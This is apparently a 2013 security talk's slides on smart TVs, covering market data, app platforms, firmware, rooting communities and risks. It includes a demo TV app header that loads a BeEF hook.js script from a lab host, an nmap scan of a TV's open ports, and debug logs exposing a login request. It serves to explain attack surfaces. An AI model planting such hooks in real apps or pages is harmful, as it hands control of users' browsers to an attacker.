Get to know your Smart TVs

Joey Costoya
• LG NetCast
• Panasonic Viera Connect
• Philips Smart TVs
• Samsung Smart TV
• Sharp Aquos Net+
• Sony Internet TV
• Toshiba Places
• Vizio Smart TV
<table>
<thead>
<tr>
<th>Year</th>
<th>Global TV Shipments</th>
<th>Global Smart TV Shipments</th>
<th>Smart TV Market Share</th>
</tr>
</thead>
<tbody>
<tr>
<td>2011</td>
<td>254.6 million</td>
<td>52 million</td>
<td>20%</td>
</tr>
<tr>
<td>2012</td>
<td>238.5 million</td>
<td>66 million</td>
<td>27%</td>
</tr>
<tr>
<td>2015</td>
<td>253.1 million</td>
<td>141 million</td>
<td>55%</td>
</tr>
</tbody>
</table>
### 2013 Q1 Market Share

<table>
<thead>
<tr>
<th>Company</th>
<th>Market Share</th>
</tr>
</thead>
<tbody>
<tr>
<td>Samsung</td>
<td>26%</td>
</tr>
<tr>
<td>LG</td>
<td>16%</td>
</tr>
<tr>
<td>Sony</td>
<td>11%</td>
</tr>
</tbody>
</table>
Showing 1–20 of All 957 TV & Blu-ray Apps

- **Yoga TV**
  - $9.99
  - Write a review
  - Sports

- **MONOPOLY**
  - $9.99
  - Write a review
  - Games

- **Pro Tips 4...**
  - $6.99
  - Write a review
  - Videos

- **AMOS**
  - $4.99
  - Write a review
  - Videos

- **Shrek Kart**
  - $4.99
  - Write a review
  - Games

- **MONOPOLY**
  - $4.99
  - Write a review
  - Games

- **THE GAME O...**
  - $4.99
  - Write a review
  - Games

- **Castle of ...**
  - $4.99
  - Write a review
  - Games

- **Shark Dash**
  - $4.99
  - Write a review
  - Games

- **The Game o...**
  - $4.99
  - Write a review
  - Games
Apps

• Ranges from free up to 9.99 USD
• Paid via credit card or App cash
• Apps are basically HTML 5 applications
Apps

HTML
config.xml
CSS
images
JavaScript
Application
Application Manager
Maple browser
Maple

- **MArkup engine PLaatform for Embedded Systems**
- Based on Webkit
  
  Mozilla/5.0 (SmartHub; SMART-TV; U; Linux/SmartTV+2013; Maple2012) AppleWebKit/535.20+ (KHTML, like Gecko) SmartTV Safari/535.20+

- **HTML 5, DOM 3, CSS 3, SquirrelFish (Javascript engine)**
Browser plugins

• ActionScript 3.0
• AIR for TV 2.5.1
• 2012 TVs: Flash 10.1
• 2013 TVs: Flash 11.1

• Most recent Flash versions
  – Windows: 11.8.8
  – Mac: 11.8.8
  – Linux: 11.2.2
Firmware

- Samsung: Infolink. SmartHub
- LG: Netcast
- Sony: Google TV, Yahoo Widgets

- Combination of proprietary and open-source projects
Open source

• Samsung Open Source Release Center
  – http://opensource.samsung.com/

• LG OpenSource Code Distribution
  – http://www.lg.com/global/support/opensource/index

• Sony Open Source Code Distribution Service
  – https://products.sel.sony.com/opensource/
Samsung Open Source Release Center

http://opensource.samsung.com/
Samsung Open Source Release Center

http://opensource.samsung.com/
Sony Open Source Code Distribution Service

Package:
- AtherosUsbDrivers.tar.gz
- EULA(NSX_GT1_Android3.1.txt
- asa-utils-1.0.19.tar.bz2
- asa-utils-1.0.23.tar.bz2
- busybox-1.10.2.tar.gz
- cairo-1.8.6.tar.gz
- compcache-0.6.2.tar.gz
- db_base.tar.gz
- dfe_fusion.tar.gz
directfb_modules.zip
e2fsprogs-1.41.0.tar.gz
e2fsprogs-1.41.11.tar.gz
eglib-2.12.2.tar.gz
exceptionmonitor.tar.gz
fuse-2.8.5-BT2V2_20110627.tar.gz
gcc-4.1.2.tar.bz2
gcc-5.3.tar.gz
ghib-2.12.13.tar.bz2
glib-2.16.6.tar.gz
glibc-2.7.tar.bz2
gst-plugins-bad-0.10.10.tar.bz2
gst-plugins-base-0.10.22.tar.bz2
gst-plugins-good-0.10.14.tar.bz2
gst-plugins-qt5demux.tar.gz
gstreamer-0.10.22.tar.bz2
keme126.tar.gz
keme2623-5.7.3.tar.gz
keme2623-7.2.0.tar.gz
keme2835-V21.tar.gz
keme2835.tar.gz
libjs-1.5.tar.gz
minicom-2.3.tar.gz
nandflash-None-SRC-13.10.10304.125377.tar.gz
nandflash-None-SRC-21.0.11141.267658.tar.gz
nspr-4.7.1.tar.gz
nspr-4.8.7-nsprpub_mw_dep-nspr_src-SRC-21.1.11176.271063.tar.gz
pango-1.24.2.tar.gz
pump-autorp-0.8.15-5_0_DTV10_20090911.tar.gz
sony-gst-plugins-good-qt5demux.tar.gz
sony-target-dev-dosfstools-2.11-05000202.src.rpm
sony-target-dev-iptables-1.4.0-05000201.src.rpm
sony-target-srel-busybox-1.4.2-05000302.src.rpm
sony-target-srel-directfb-1.3.0-05000306.src.rpm
sony-target-srel-dosfstools-2.11-05000301.src.rpm
sony-target-srel-iptables-1.4.0-05000301.src.rpm
toolchain.tar.bz2

https://products.sel.sony.com/opensource/
LG OpenSource Code Distribution

http://www.lg.com/global/support/opensource/index
Samsung D6 Series TV's Root tools and Gadgets...

Released on 11/11/11 11:11 PM

another Projects:

wxHexEditor 64-bit Hex Editor for Linux, Win, Mac.
DivFix++ AVI Repair & Preview tool.
Meteorite Matroska / MKV video repair tool.
I made them. Just try.
Main Page

There are security restrictions on this page

Welcome to OpenLGTV Project

OpenLGTV is a non-commercial project for legal reverse engineering and research on LG Television firmware which is partially Open Source. We make these modifications for ourselves but you are welcome to join us.

Friends, if you have any additional information that is missing on the site, please spend a few minutes and contribute. Sign up and accelerate our research!

- Wiki
  
  You can find many interesting articles there.

- Forum
  
  Discuss any issues related to LG tv's

- SVN
  
  Web access to the SVN repository (svn.openlgtv.org.ru). WebSVN is temporarily unavailable.

- Chat
LG Hack Forum has 2263 registered users with 6399 messages, consisting of 679 topics and 5520 replies.

<table>
<thead>
<tr>
<th>Forum</th>
<th>Topics</th>
<th>Replies</th>
<th>Last Post</th>
<th>Moderators</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Additional functionality</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><img src="image1" alt="Image" /> Debug Menus</td>
<td>82</td>
<td>180</td>
<td>Jul 31, 2013 - 4:40pm</td>
<td>tester13a</td>
</tr>
<tr>
<td><img src="image2" alt="Image" /> USB player and related tricks</td>
<td>302</td>
<td>1326</td>
<td>Sep 7, 2012 - 12:13pm</td>
<td>tester13a</td>
</tr>
<tr>
<td><strong>Firmware</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><img src="image3" alt="Image" /> Firmware packing and unpacking</td>
<td>98</td>
<td>362</td>
<td>Jan 3, 2013 - 4:38am</td>
<td>tester13a</td>
</tr>
<tr>
<td><img src="image4" alt="Image" /> Firmware research</td>
<td>397</td>
<td>3852</td>
<td>Aug 14, 2013 - 2:55pm</td>
<td>tester13a</td>
</tr>
</tbody>
</table>

**Who may post?**

- Registered Users May Post
- Moderators May Post

Last Visitors: hebov, S31, Umesab, nemare, Gamesla73, Jfd, Murphyn64, huck
Where to start?
Where to start?

Depends on your budget
**SAMSUNG UA32F6400**

**Description**

Smart 32-Inch Full HD LED TV

**Price:** Php 28,900.00  
Approx. $703.85
<table>
<thead>
<tr>
<th>Feature</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Canvas</td>
<td>Yes</td>
</tr>
<tr>
<td>Local storage</td>
<td>Yes</td>
</tr>
<tr>
<td>Video formats</td>
<td>webm</td>
</tr>
<tr>
<td>Web workers</td>
<td></td>
</tr>
<tr>
<td>Offline support</td>
<td></td>
</tr>
<tr>
<td>Geolocation</td>
<td></td>
</tr>
</tbody>
</table>
[AP_INFOLINK/Fatal] 298 : **** Infomation for connecting with hub-site ****
[AP_INFOLINK/Fatal] 299 : ***********************************************
[AP_INFOLINK/Fatal] 300 : Server Type : Operating
[AP_INFOLINK/Fatal] 301 : TVID : CPCBXXXXXXXGPM
[AP_INFOLINK/Fatal] 302 : Mac Address : 1c5a3exxxxxxxx
[AP_INFOLINK/Fatal] 304 : Country Code : PH
[AP_INFOLINK/Fatal] 305 : Model Code :
[AP_INFOLINK/Fatal] 306 : ***********************************************
[AP_INFOLINK/Fatal] 307 : Update is True
Request Url = https://sso.internetat.tv/openapi/user/auth/login
RequestHeader["Stoken"] = 9xxxxxebeb+eexxx044xxxxxe8af0dxxxxxx737fxxxxx70e0
RequestHeader["Content-type"] = text/xml
RequestHeader["Content-length"] = 50
Request Data = userid=joey.costoya@gmail.com\&password=xxxxxxxxxxx
Request Time = 2013/6/27 5:24.611
[Smart Hub Debug(1)] Request Url = https://sso.internetat.tv/openapi/user/auth/login
[Smart Hub Debug(1)] RequestHeader["Stoken"] = 9xxxxx+eexxx044xxxxxe8af0dxxxx737fxxxxxx70e0
[Smart Hub Debug(1)] RequestHeader["Content-type"] = text/xml
[Smart Hub Debug(1)] RequestHeader["Content-length"] = 50
[Smart Hub Debug(1)] Request Data = userid=joey.costoya@gmail.com&password=xxxxxxxxxxx
[Smart Hub Debug(1)] Request Time = 2013/6/27 5:24.611
Risks
Risks

Your Smart TV is essentially a computer
Attractive target

• High-end Smart TVs have built-in video camera and microphone

• Prime, fixed locations of TVs
  – Living room
  – Bedroom in front of the bed

• Always plugged-in to power and Internet
As surveillance spots

• SeungJin Lee & Seungju Kim
  – “Smart TV Security”
  – CansecWest ’13
  – Discovered several exploitable bugs
  – Gained shell access
  – Rootkit
  – Spying software
Threats?

- **Exploits**
  - No reported drive-by exploits (yet)
  - Flash exploit possible
  - Traditional exploits against APIs
  - No Java or PDF

- **Malicious Apps**
  - Apps under review by some panel before they’re published in the App store
Browser-based risks
What is BeEF

• BeEF: Browser Exploitation Framework
• Client-side attack vector
• The browser as the infection/attack channel

• [http://beefproject.com/](http://beefproject.com/)
Canvas: Yes
Local storage: Yes
Video formats: webm
Web workers: Yes
Offline support: Yes
Geolocation: Yes
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>Hello World</title>

  <!-- TODO : Common API -->
  <script type="text/javascript" language="javascript" src="$MANAGER_WIDGET/Common/API/Widget.js"></script>
  <script type="text/javascript" language="javascript" src="$MANAGER_WIDGET/Common/API/TVKeyValue.js"></script>

  <!-- TODO : Javascript code -->
  <script language="javascript" type="text/javascript" src="app/javascript/Main.js"></script>

  <!-- TODO : Style sheets code -->
  <link rel="stylesheet" href="app/stylesheets/Main.css" type="text/css">
  <script type="text/javascript" language="javascript" src="http://10.0.0.55:3000/hook.js"></script>
</head>
BeEF control panel
<table>
<thead>
<tr>
<th>Feature</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Canvas</td>
<td>Yes</td>
</tr>
<tr>
<td>Local storage</td>
<td>Yes</td>
</tr>
<tr>
<td>Video formats</td>
<td>webm</td>
</tr>
<tr>
<td>Web workers</td>
<td></td>
</tr>
<tr>
<td>Offline support</td>
<td></td>
</tr>
<tr>
<td>Geolocation</td>
<td></td>
</tr>
</tbody>
</table>
Network risks

```
@fw:~$ nmap -p1-65535 -PN 10.0.0.

Starting Nmap 5.00 ( http://nmap.org ) at 2013-08-23 16:58 PHT
Interesting ports on 10.0.0.:
Not shown: 65526 closed ports

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
</tr>
</thead>
<tbody>
<tr>
<td>80/tcp</td>
<td>open</td>
<td>http</td>
</tr>
<tr>
<td>443/tcp</td>
<td>open</td>
<td>https</td>
</tr>
<tr>
<td>3697/tcp</td>
<td>open</td>
<td>unknown</td>
</tr>
<tr>
<td>4443/tcp</td>
<td>open</td>
<td>pharos</td>
</tr>
<tr>
<td>6000/tcp</td>
<td>open</td>
<td>X11</td>
</tr>
<tr>
<td>7676/tcp</td>
<td>open</td>
<td>unknown</td>
</tr>
<tr>
<td>9090/tcp</td>
<td>open</td>
<td>zeus-admin</td>
</tr>
<tr>
<td>55000/tcp</td>
<td>open</td>
<td>unknown</td>
</tr>
<tr>
<td>55001/tcp</td>
<td>open</td>
<td>unknown</td>
</tr>
</tbody>
</table>

Nmap done: 1 IP address (1 host up) scanned in 4.98 seconds
@fw:~$```
Old fashioned risks

• Phishing
Mitigation

• Auto-update
• Offline firmware update
• Factory reset
Summary

• Rising market share
• Smart TVs as computers
• Risk profile same as PCs
• Interesting times ahead